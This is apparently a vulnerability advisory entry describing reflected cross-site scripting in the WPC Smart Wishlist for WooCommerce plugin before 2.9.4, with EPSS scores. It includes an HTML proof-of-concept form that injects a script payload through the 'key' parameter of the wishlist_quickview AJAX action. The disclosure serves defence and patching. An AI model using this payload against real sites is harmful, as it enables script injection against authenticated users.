WPC Smart Wishlist for WooCommerce < 2.9.4 - Reflected Cross-Site Scripting

2022-03-0100:00:00

Krzysztof Zając

135

0.001 Low

EPSS

Percentile

25.0%

JSON

The plugin does not sanitise and escape the key parameter before outputting it back in the wishlist_quickview AJAX action’s response (available to any authenticated user), leading to a Reflected Cross-Site Scripting

<html>
    <form action="https://example.com/wp-admin/admin-ajax.php?action=wishlist_quickview" method="POST">
        <input type="text" name="key" value='<script>alert(/XSS/);</script>'>
        <input type="submit" value="Send">
    </form>
</html>

The source and destination should use the https:// protocol for the exploit to work on Chrome.

0.001 Low

EPSS

Percentile

25.0%

JSON

Related for WPEX-ID:C8091254-1CED-4363-AB7F-5B880447713D